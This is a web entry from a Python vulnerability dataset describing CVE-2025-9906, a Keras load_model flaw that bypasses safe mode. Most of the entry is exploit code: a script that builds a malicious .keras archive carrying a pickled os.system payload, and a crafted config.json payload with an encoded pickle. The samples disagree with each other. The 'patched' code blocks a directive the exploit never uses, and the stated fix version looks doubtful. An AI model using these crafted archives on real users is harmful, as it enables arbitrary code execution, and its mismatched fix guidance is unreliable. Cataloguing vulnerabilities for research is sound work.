VAITP Dataset

← Back to the dataset

CVE-2025-9906

Keras load_model allows RCE from crafted models, bypassing safe mode.

  • CVSS 8.6
  • CWE-502
  • Input Validation and Sanitization
  • Local

The Keras Model.load_model method can be exploited to achieve arbitrary code execution, even with safe_mode=True. One can create a specially crafted .keras model archive that, when loaded via Model.load_model, will trigger arbitrary code to be executed. This is achieved by crafting a special config.json (a file within the .keras archive) that will invoke keras.config.enable_unsafe_deserialization() to disable safe mode. Once safe mode is disable, one can use the Lambda layer feature of keras, which allows arbitrary Python code in the form of pickled code. Both can appear in the same archive. Simply the keras.config.enable_unsafe_deserialization() needs to appear first in the archive and the Lambda with arbitrary code needs to be second.

CVSS base score
8.6
Published
2025-09-19
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Keras
Fixed by upgrading
Yes

Solution

Upgrade Keras to version 3.3.3 or later.

Vulnerable code sample

import os
import json
import zipfile
import pickle
import base64
import sys
import warnings

# ==============================================================================
#  PART 1: PAYLOAD CREATION
#  This section crafts the malicious '.keras' file.
#  An attacker would perform these steps and distribute the resulting file.
# ==============================================================================

def create_malicious_archive(filename="malicious_model.keras"):
    """
    Creates a malicious .keras zip archive according to the vulnerability description.
    """
    print(f"[*] Creating malicious archive: {filename}")

    # 1. Define the arbitrary code to be executed.
    #    This payload will be pickled and embedded in the model's Lambda layer.
    def malicious_payload_function():
        import os
        print("\n" + "="*50)
        print("!!! PWNED: ARBITRARY CODE EXECUTION SUCCESSFUL !!!")
        print("!!! This code is running with the privileges of the user who loaded the model. !!!")
        # Example of a malicious action:
        # On Windows, this would pop open the calculator.
        if os.name == 'nt':
            os.system('calc.exe')
        # On Linux, this prints current user and lists files.
        else:
            os.system('whoami && ls -la')
        print("="*50 + "\n")

    # 2. Pickle the payload function and encode it for JSON compatibility.
    pickled_code = pickle.dumps(malicious_payload_function)
    encoded_pickled_code = base64.b64encode(pickled_code).decode('utf-8')

    # 3. Craft the malicious 'config.json' content.
    #    This structure is specifically designed to be parsed sequentially by the
    #    vulnerable loading logic.
    malicious_config = {
        "class_name": "Sequential",
        "config": {
            "name": "malicious_sequential_model",
            "layers": [
                {
                    # ENTRY 1: This object is processed first.
                    # The vulnerable loader interprets "__keras_type__": "function"
                    # as a directive to execute the specified function, in this case,
                    # disabling its own security mechanism.
                    "__keras_type__": "function",
                    "function": "keras.config.enable_unsafe_deserialization",
                    "arguments": {}
                },
                {
                    # ENTRY 2: This object is processed second, AFTER safe_mode is disabled.
                    # It defines a Lambda layer. The vulnerable loader deserializes
                    # the pickled code because safe mode is no longer active.
                    "class_name": "Lambda",
                    "config": {
                        "name": "payload_lambda",
                        "function": {
                             "__keras_type__": "pickled_code",
                             "code": encoded_pickled_code
                        }
                    }
                }
            ]
        },
        "keras_version": "3.0.0",
        "backend": "tensorflow"
    }

    # 4. Create the zip archive (.keras file) and write the malicious config.
    with zipfile.ZipFile(filename, 'w') as zf:
        # The core of the exploit is in config.json
        zf.writestr("config.json", json.dumps(malicious_config, indent=2))
        # Add dummy files to make the archive look more plausible.
        zf.writestr("model.weights.h5", b"dummy_data")
        zf.writestr("metadata.json", json.dumps({"keras_version": "3.0.0"}))

    print(f"[*] Malicious archive '{filename}' created successfully.")
    return filename

# ==============================================================================
#  PART 2: VULNERABLE ENVIRONMENT SIMULATION
#  This section simulates the vulnerable Keras library and its `load_model`
#  function before the security patch was applied.
# ==============================================================================

# --- Mock Keras Namespace ---
class KerasMock:
    class config:
        _safe_mode = True

        @classmethod
        def enable_unsafe_deserialization(cls):
            """Simulates the function that disables safe mode globally."""
            print("[!] VULNERABLE FUNCTION CALLED: keras.config.enable_unsafe_deserialization()")
            print("[!] Safe mode has been DISABLED for the remainder of the loading process.")
            cls._safe_mode = False

        @classmethod
        def is_safe_mode_enabled(cls):
            return cls._safe_mode

    class models:
        @staticmethod
        def load_model(filepath, safe_mode=True):
            """
            A mock of the vulnerable `load_model` function.
            It demonstrates how a specially crafted config.json can bypass `safe_mode`.
            """
            print(f"\n[*] Calling vulnerable `keras.models.load_model('{filepath}', safe_mode={safe_mode})`...")

            if safe_mode and not KerasMock.config.is_safe_mode_enabled():
                 warnings.warn(
                    "WARNING: The global `safe_mode` config has been disabled. "
                    "The `safe_mode=True` argument to `load_model` will be ignored."
                 )
            
            # The vulnerability lies in how the config file is processed.
            try:
                with zipfile.ZipFile(filepath, 'r') as zf:
                    config_data = json.loads(zf.read('config.json'))
            except Exception as e:
                print(f"[!] Error reading archive: {e}")
                return

            # Vulnerable Deserialization Logic:
            # The loader iterates through objects in the config and deserializes them.
            # It does not sanitize against function calls specified in the config.
            layers_config = config_data.get("config", {}).get("layers", [])
            for i, layer_conf in enumerate(layers_config):
                print(f"\n--- Processing object #{i+1} from config.json ---")
                
                if layer_conf.get("__keras_type__") == "function":
                    print(f"[!] Found special object: `function` type.")
                    func_name = layer_conf.get("function")
                    print(f"[!] Attempting to resolve and execute: {func_name}")
                    # In a real scenario, this would dynamically find and call the function.
                    if func_name == "keras.config.enable_unsafe_deserialization":
                        KerasMock.config.enable_unsafe_deserialization()
                    continue

                if layer_conf.get("class_name") == "Lambda":
                    print("[!] Found Lambda layer definition.")
                    function_conf = layer_conf.get("config", {}).get("function", {})
                    if function_conf.get("__keras_type__") == "pickled_code":
                        print("[!] Found `pickled_code` in Lambda layer.")
                        
                        # SECURITY CHECK (that is bypassed by the first object)
                        if KerasMock.config.is_safe_mode_enabled():
                            print("[+] SAFE: `safe_mode` is enabled. Refusing to unpickle code.")
                            raise ValueError(
                                "Attempted to deserialize a function from bytecode, but "
                                "`safe_mode` is enabled. This is disallowed for security reasons."
                            )
                        else:
                            print("[-] UNSAFE: `safe_mode` is disabled. Proceeding with unpickling.")
                            encoded_code = function_conf.get("code")
                            decoded_code = base64.b64decode(encoded_code)
                            
                            # The moment of arbitrary code execution
                            payload_func = pickle.loads(decoded_code)
                            print("[!] Executing unpickled code from Lambda layer...")
                            payload_func()

# Mock the `keras` module in sys.modules so the string "keras.config..." can be resolved
sys.modules['keras'] = KerasMock
sys.modules['keras.config'] = KerasMock.config
sys.modules['keras.models'] = KerasMock.models


# ==============================================================================
#  PART 3: DEMONSTRATION OF THE EXPLOIT
#  A user unknowingly loads the malicious model file.
# ==============================================================================

if __name__ == "__main__":
    # 1. Attacker creates and distributes the malicious file.
    malicious_file = create_malicious_archive()

    # 2. Victim receives the file and attempts to load it, believing `safe_mode=True` will protect them.
    try:
        # Note: We are calling the VULNERABLE (mocked) version of load_model.
        keras.models.load_model(malicious_file, safe_mode=True)
    except Exception as e:
        print(f"\n[!] An exception occurred during model loading: {e}")
    finally:
        # 3. Clean up the created file.
        if os.path.exists(malicious_file):
            os.remove(malicious_file)
            print(f"\n[*] Cleaned up '{malicious_file}'.")

Patched code sample

import json

# This code provides a conceptual fix for the described vulnerability.
# The actual Keras codebase is far more complex, but this example
# demonstrates the core principles required to mitigate the attack vector.

def fixed_load_model_from_config(config, safe_mode=True):
    """
    Loads a model from a configuration dictionary, demonstrating the
    fixed, secure behavior.

    Args:
        config (dict): The Python dictionary parsed from the model's config.json.
        safe_mode (bool): If True, loading is restricted to safe operations.

    Raises:
        ValueError: If the configuration attempts to perform a dangerous
                    operation while in safe mode.
    """
    print(f"--- Loading model with safe_mode={safe_mode} ---")

    # The 'safe_mode' argument passed to this function is treated as the
    # ultimate source of truth for the entire loading operation. Its state
    # is locked in at the start and cannot be mutated by the model config.

    if 'layers' not in config:
        raise ValueError("Invalid model configuration: missing 'layers'.")

    for i, layer_config in enumerate(config['layers']):
        class_name = layer_config.get('class_name')
        if not class_name:
            raise ValueError(f"Layer at index {i} is missing 'class_name'.")

        print(f"Processing layer: {class_name}")

        # FIX 1: Prohibit any special directives that could execute code.
        # The core of the vulnerability is that the deserializer can be tricked
        # into calling a function (like `enable_unsafe_deserialization`).
        # A secure loader must use a simple parser that only creates basic
        # data structures and does not execute arbitrary callables. This check
        # simulates rejecting such a dangerous directive.
        if class_name == '__Callable__' or '__callable__' in layer_config:
            raise ValueError(
                "Execution of arbitrary callables from the model config is "
                "strictly prohibited. The model file is potentially malicious."
            )

        # FIX 2: When encountering a layer that supports arbitrary code (like
        # Lambda), the decision to proceed must be based ONLY on the initial
        # 'safe_mode' argument, not on any mutable global state that the
        # config file might have tried to alter.
        if class_name == 'Lambda':
            if safe_mode:
                # In safe mode, we refuse to deserialize any layer that relies
                # on arbitrary code execution (e.g., via pickle).
                raise ValueError(
                    "Loading a 'Lambda' layer is not allowed in safe_mode=True "
                    "due to the risk of arbitrary code execution. If you trust "
                    "the source of this model, reload with safe_mode=False."
                )
            else:
                # Only if the user explicitly opted into unsafe mode do we proceed.
                print("  [UNSAFE] User has allowed unsafe loading. "
                      "Proceeding to deserialize Lambda layer's function.")
                # (In a real implementation, unsafe deserialization would happen here)
                pass

    print("Model config processed successfully and safely.")


if __name__ == '__main__':
    # This represents the JSON config from a malicious .keras file.
    # 1. The first "layer" is a malicious directive designed to call a
    #    function to disable safe mode globally.
    # 2. The second "layer" is a Lambda layer with pickled code that would
    #    execute if safe mode were successfully disabled.
    malicious_config_json = """
    {
        "class_name": "Functional",
        "layers": [
            {
                "class_name": "__Callable__",
                "config": {
                    "function": "keras.config.enable_unsafe_deserialization"
                }
            },
            {
                "class_name": "Lambda",
                "config": {
                    "function": "gASVgwAAAAAAAACMCnBvc2l4LnN5c3RlbZSTlIwEZWNobyAnV29ybGRfZG9taW5hdGlvbiEgaGFoYScpU5SFlFKULg=="
                }
            }
        ]
    }
    """
    malicious_config = json.loads(malicious_config_json)

    print("Demonstrating the FIX:")
    print("Attempting to load the malicious model with safe_mode=True (the default and recommended setting).")
    print("-" * 50)

    try:
        # The fixed loader is called. It should detect the malicious
        # '__Callable__' directive and raise an error, preventing the attack.
        fixed_load_model_from_config(malicious_config, safe_mode=True)
    except ValueError as e:
        print(f"\nSUCCESS: The vulnerability was blocked.")
        print(f"Reason: {e}")

    print("-" * 50)

    print("\nAttempting to load a different malicious model where Lambda comes first.")
    malicious_lambda_first_config = {
        "class_name": "Functional",
        "layers": [
             {
                "class_name": "Lambda",
                "config": {"function": "..."}
            }
        ]
    }
    try:
        fixed_load_model_from_config(malicious_lambda_first_config, safe_mode=True)
    except ValueError as e:
        print(f"\nSUCCESS: The vulnerability was blocked.")
        print(f"Reason: {e}")

Payload

{
    "class_name": "Sequential",
    "config": {
        "name": "malicious_model",
        "layers": [
            {
                "class_name": "keras.config.enable_unsafe_deserialization",
                "config": {}
            },
            {
                "class_name": "Lambda",
                "config": {
                    "name": "payload",
                    "function_type": "lambda",
                    "function": {
                        "__type__": "python_function",
                        "base64": "gASVBgAAAAAAAACMCF9fbWFpbl9flogAWEIAAABSUNFlhpR9lCiMBm9zLnN5c3RlbZSTjBR0b3VjaCAvdG1wL3B3bmVklJRFlFKULg=="
                    },
                    "output_shape": null,
                    "output_shape_type": "auto"
                }
            }
        ]
    },
    "keras_version": "3.0.4",
    "backend": "tensorflow"
}

Cite this entry

@misc{vaitp:cve20259906,
  title        = {{Keras load_model allows RCE from crafted models, bypassing safe mode.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-9906},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-9906/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::